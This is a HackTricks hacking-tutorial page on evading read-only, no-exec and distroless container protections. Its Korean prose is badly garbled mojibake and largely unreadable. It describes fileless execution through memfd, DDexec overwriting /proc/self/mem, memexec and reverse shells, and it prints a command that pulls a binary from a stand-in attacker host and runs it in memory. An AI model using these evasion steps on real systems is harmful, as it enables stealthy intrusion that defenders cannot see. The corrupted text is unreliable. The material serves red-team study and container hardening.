FS ๋ณดํธ ์ฐํ: ์ฝ๊ธฐ ์ ์ฉ / ์คํ ๊ธ์ง / Distroless
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋น๋์ค
๋ค์ ๋น๋์ค์์๋ ์ด ํ์ด์ง์ ์ธ๊ธ๋ ๊ธฐ์ ์ ๋ ๊น์ด ์ค๋ช ํฉ๋๋ค:
- DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
- Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023
์ฝ๊ธฐ ์ ์ฉ / ์คํ ๊ธ์ง ์๋๋ฆฌ์ค
๋ฆฌ๋
์ค ๋จธ์ ์ด ์ฝ๊ธฐ ์ ์ฉ (ro) ํ์ผ ์์คํ
๋ณดํธ๋ก ๋ง์ดํธ๋๋ ๊ฒฝ์ฐ๊ฐ ์ ์ ๋ ๋ง์์ง๊ณ ์์ต๋๋ค. ํนํ ์ปจํ
์ด๋์์ ๊ทธ๋ ์ต๋๋ค. ์ด๋ **readOnlyRootFilesystem: true**๋ฅผ securitycontext์ ์ค์ ํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ปจํ
์ด๋๋ฅผ ro ํ์ผ ์์คํ
์ผ๋ก ์คํํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
๊ทธ๋ฌ๋ ํ์ผ ์์คํ
์ด ro๋ก ๋ง์ดํธ๋๋๋ผ๋ **/dev/shm**๋ ์ฌ์ ํ ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํ๋ฏ๋ก ๋์คํฌ์ ์๋ฌด๊ฒ๋ ์ธ ์ ์๋ค๋ ๊ฒ์ ์๋ชป๋ ์ ๋ณด์
๋๋ค. ๊ทธ๋ฌ๋ ์ด ํด๋๋ ์คํ ๊ธ์ง ๋ณดํธ๋ก ๋ง์ดํธ๋๋ฏ๋ก ์ฌ๊ธฐ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ด๋ก๋ํ๋ฉด ์คํํ ์ ์์ต๋๋ค.
Warning
๋ ๋ ํ ๊ด์ ์์ ๋ณผ ๋, ์ด๋ ์์คํ ์ ์ด๋ฏธ ์๋ ๋ฐ์ด๋๋ฆฌ(์: ๋ฐฑ๋์ด ๋๋
kubectl๊ณผ ๊ฐ์ ์ด๊ฑฐ๊ธฐ)๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์คํํ๋ ๊ฒ์ ๋ณต์กํ๊ฒ ๋ง๋ญ๋๋ค.
๊ฐ์ฅ ์ฌ์ด ์ฐํ: ์คํฌ๋ฆฝํธ
๋ฐ์ด๋๋ฆฌ๋ฅผ ์ธ๊ธํ์ง๋ง, ๊ธฐ๊ณ ๋ด๋ถ์ ์ธํฐํ๋ฆฌํฐ๊ฐ ์๋ ํ ์ด๋ค ์คํฌ๋ฆฝํธ๋ ์คํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, sh๊ฐ ์๋ ๊ฒฝ์ฐ ์
ธ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ฑฐ๋ python์ด ์ค์น๋ ๊ฒฝ์ฐ ํ์ด์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์ด๊ฒ๋ง์ผ๋ก๋ ๋ฐ์ด๋๋ฆฌ ๋ฐฑ๋์ด๋ ์คํํด์ผ ํ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ ๋๊ตฌ๋ฅผ ์คํํ๊ธฐ์ ์ถฉ๋ถํ์ง ์์ต๋๋ค.
๋ฉ๋ชจ๋ฆฌ ์ฐํ
๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๊ณ ์ถ์ง๋ง ํ์ผ ์์คํ ์ด ์ด๋ฅผ ํ์ฉํ์ง ์๋ ๊ฒฝ์ฐ, ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ๋ฉ๋ชจ๋ฆฌ์์ ์คํํ๋ ๊ฒ์ ๋๋ค. ์๋ํ๋ฉด ๊ทธ๊ณณ์์๋ ๋ณดํธ๊ฐ ์ ์ฉ๋์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
FD + exec ์์คํ ํธ์ถ ์ฐํ
๊ธฐ๊ณ ๋ด๋ถ์ Python, Perl ๋๋ Ruby์ ๊ฐ์ ๊ฐ๋ ฅํ ์คํฌ๋ฆฝํธ ์์ง์ด ์๋ ๊ฒฝ์ฐ, ๋ฉ๋ชจ๋ฆฌ์์ ์คํํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ค์ด๋ก๋ํ๊ณ , ๋ฉ๋ชจ๋ฆฌ ํ์ผ ์ค๋ช
์(create_memfd ์์คํ
ํธ์ถ)์ ์ ์ฅํ ์ ์์ต๋๋ค. ์ด๋ ์ด๋ฌํ ๋ณดํธ์ ์ํด ๋ณดํธ๋์ง ์์ผ๋ฉฐ, ๊ทธ๋ฐ ๋ค์ exec ์์คํ
ํธ์ถ์ ํธ์ถํ์ฌ ์คํํ ํ์ผ๋ก fd๋ฅผ ์ง์ ํฉ๋๋ค.
์ด๋ฅผ ์ํด fileless-elf-exec ํ๋ก์ ํธ๋ฅผ ์ฝ๊ฒ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ ๋ฌํ๋ฉด ๋ฐ์ด๋๋ฆฌ๊ฐ ์์ถ๋๊ณ b64 ์ธ์ฝ๋ฉ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ง์ ๋ ์ธ์ด๋ก ์์ฑํ๋ฉฐ, fd๋ฅผ ์์ฑํ๊ธฐ ์ํด create_memfd ์์คํ
ํธ์ถ์ ํธ์ถํ๊ณ ์ด๋ฅผ ์คํํ๊ธฐ ์ํด exec ์์คํ
ํธ์ถ์ ํธ์ถํ๋ ์ง์นจ์ด ํฌํจ๋ฉ๋๋ค.
Warning
์ด๋ PHP๋ Node์ ๊ฐ์ ๋ค๋ฅธ ์คํฌ๋ฆฝํ ์ธ์ด์์๋ ์๋ํ์ง ์์ต๋๋ค. ์๋ํ๋ฉด ์ด๋ค ์ธ์ด๋ ์คํฌ๋ฆฝํธ์์ ์์ ์์คํ ํธ์ถ์ ํธ์ถํ๋ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ด ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ฐ๋ผ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ ์ฅํ ๋ฉ๋ชจ๋ฆฌ fd๋ฅผ ์์ฑํ๊ธฐ ์ํด
create_memfd๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค.๋ํ,
/dev/shm์ ์๋ ํ์ผ๋ก ์ผ๋ฐ fd๋ฅผ ์์ฑํ๋ ๊ฒ์ ์๋ํ์ง ์์ต๋๋ค. ์๋ํ๋ฉด ์คํ ๊ธ์ง ๋ณดํธ๊ฐ ์ ์ฉ๋๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์คํํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
DDexec / EverythingExec
DDexec / EverythingExec ๊ธฐ์ ์ ์์ ์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์์ ํ์ฌ **/proc/self/mem**์ ๋ฎ์ด์ฐ๋ ๊ฒ์ ํ์ฉํฉ๋๋ค.
๋ฐ๋ผ์ ํ๋ก์ธ์ค์์ ์คํ๋๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์ ์ดํจ์ผ๋ก์จ, ์ ธ์ฝ๋๋ฅผ ์์ฑํ๊ณ ํ๋ก์ธ์ค๋ฅผ โ๋ณํโํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Tip
DDexec / EverythingExec๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฉ๋ชจ๋ฆฌ์์ ์์ ์ ์ ธ์ฝ๋ ๋๋ ์ด๋ค ๋ฐ์ด๋๋ฆฌ๋ ๋ก๋ํ๊ณ ์คํํ ์ ์์ต๋๋ค.
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
๋ ๋ง์ ์ ๋ณด๋ ์ด ๊ธฐ์ ์ ๋ํด Github๋ฅผ ํ์ธํ๊ฑฐ๋:
MemExec
Memexec๋ DDexec์ ์์ฐ์ค๋ฌ์ด ๋ค์ ๋จ๊ณ์ ๋๋ค. ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๊ณ ์ถ์ ๋๋ง๋ค DDexec๋ฅผ ๋ค์ ์์ํ ํ์ ์์ด, DDexec ๊ธฐ์ ์ ํตํด memexec ์ ธ์ฝ๋๋ฅผ ์คํํ๊ณ ์ด ๋ฐ๋ชฌ๊ณผ ํต์ ํ์ฌ ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ก๋ํ๊ณ ์คํํ ์ ์์ต๋๋ค.
memexec๋ฅผ ์ฌ์ฉํ์ฌ PHP ๋ฆฌ๋ฒ์ค ์ ธ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์๋ https://github.com/arget13/memexec/blob/main/a.php์์ ํ์ธํ ์ ์์ต๋๋ค.
Memdlopen
DDexec์ ์ ์ฌํ ๋ชฉ์ ์ ๊ฐ์ง memdlopen ๊ธฐ์ ์ ๋ฉ๋ชจ๋ฆฌ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ก๋ํ๋ ๋ ์ฌ์ด ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ ์์กด์ฑ์ด ์๋ ๋ฐ์ด๋๋ฆฌ๋ ๋ก๋ํ ์ ์๊ฒ ํด์ค ์ ์์ต๋๋ค.
Distroless Bypass
Distroless๋ ๋ฌด์์ธ๊ฐ
Distroless ์ปจํ ์ด๋๋ ํน์ ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ ์๋น์ค ์คํ์ ํ์ํ ์ต์ํ์ ๊ตฌ์ฑ ์์๋ง ํฌํจํ๊ณ ์์ผ๋ฉฐ, ํจํค์ง ๊ด๋ฆฌ์, ์ ธ ๋๋ ์์คํ ์ ํธ๋ฆฌํฐ์ ๊ฐ์ ๋ ํฐ ๊ตฌ์ฑ ์์๋ ์ ์ธํฉ๋๋ค.
Distroless ์ปจํ ์ด๋์ ๋ชฉํ๋ ๋ถํ์ํ ๊ตฌ์ฑ ์์๋ฅผ ์ ๊ฑฐํ์ฌ ์ปจํ ์ด๋์ ๊ณต๊ฒฉ ํ๋ฉด์ ์ค์ด๊ณ ์ ์ฉ๋ ์ ์๋ ์ทจ์ฝ์ ์ ์๋ฅผ ์ต์ํํ๋ ๊ฒ์ ๋๋ค.
๋ฆฌ๋ฒ์ค ์ ธ
Distroless ์ปจํ
์ด๋์์๋ **์ ์์ ์ธ ์
ธ์ ์ป๊ธฐ ์ํด sh ๋๋ bash**๋ฅผ ์ฐพ์ ์ ์์ ์๋ ์์ต๋๋ค. ls, whoami, id์ ๊ฐ์ ๋ฐ์ด๋๋ฆฌ๋ ์ฐพ์ ์ ์์ต๋๋คโฆ ์์คํ
์์ ์ผ๋ฐ์ ์ผ๋ก ์คํํ๋ ๋ชจ๋ ๊ฒ์
๋๋ค.
Warning
๋ฐ๋ผ์, ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป๊ฑฐ๋ ์์คํ ์ ์ด๊ฑฐํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์์๋ ์ปจํ ์ด๋๊ฐ ์๋ฅผ ๋ค์ด flask ์น์ ์คํํ๊ณ ์๋ค๋ฉด, ํ์ด์ฌ์ด ์ค์น๋์ด ์์ผ๋ฏ๋ก Python ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป์ ์ ์์ต๋๋ค. ๋ ธ๋๋ฅผ ์คํํ๊ณ ์๋ค๋ฉด Node ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป์ ์ ์์ผ๋ฉฐ, ๋๋ถ๋ถ์ ์คํฌ๋ฆฝํ ์ธ์ด์ ๋ง์ฐฌ๊ฐ์ง์ ๋๋ค.
Tip
์คํฌ๋ฆฝํ ์ธ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ด์ ๊ธฐ๋ฅ์ ํ์ฉํ์ฌ ์์คํ ์ ์ด๊ฑฐํ ์ ์์ต๋๋ค.
์ฝ๊ธฐ ์ ์ฉ/์คํ ๊ธ์ง ๋ณดํธ๊ฐ ์๋ค๋ฉด, ๋ฆฌ๋ฒ์ค ์ ธ์ ์ ์ฉํ์ฌ ํ์ผ ์์คํ ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๊ณ ์คํํ ์ ์์ต๋๋ค.
Tip
๊ทธ๋ฌ๋ ์ด๋ฌํ ์ข ๋ฅ์ ์ปจํ ์ด๋์์๋ ์ด๋ฌํ ๋ณดํธ๊ฐ ์ผ๋ฐ์ ์ผ๋ก ์กด์ฌํ์ง๋ง, ์ด์ ๋ฉ๋ชจ๋ฆฌ ์คํ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ์ฐํํ ์ ์์ต๋๋ค.
RCE ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ ์คํฌ๋ฆฝํ ์ธ์ด์ ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป๊ณ ๋ฉ๋ชจ๋ฆฌ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์๋ https://github.com/carlospolop/DistrolessRCE์์ ํ์ธํ ์ ์์ต๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


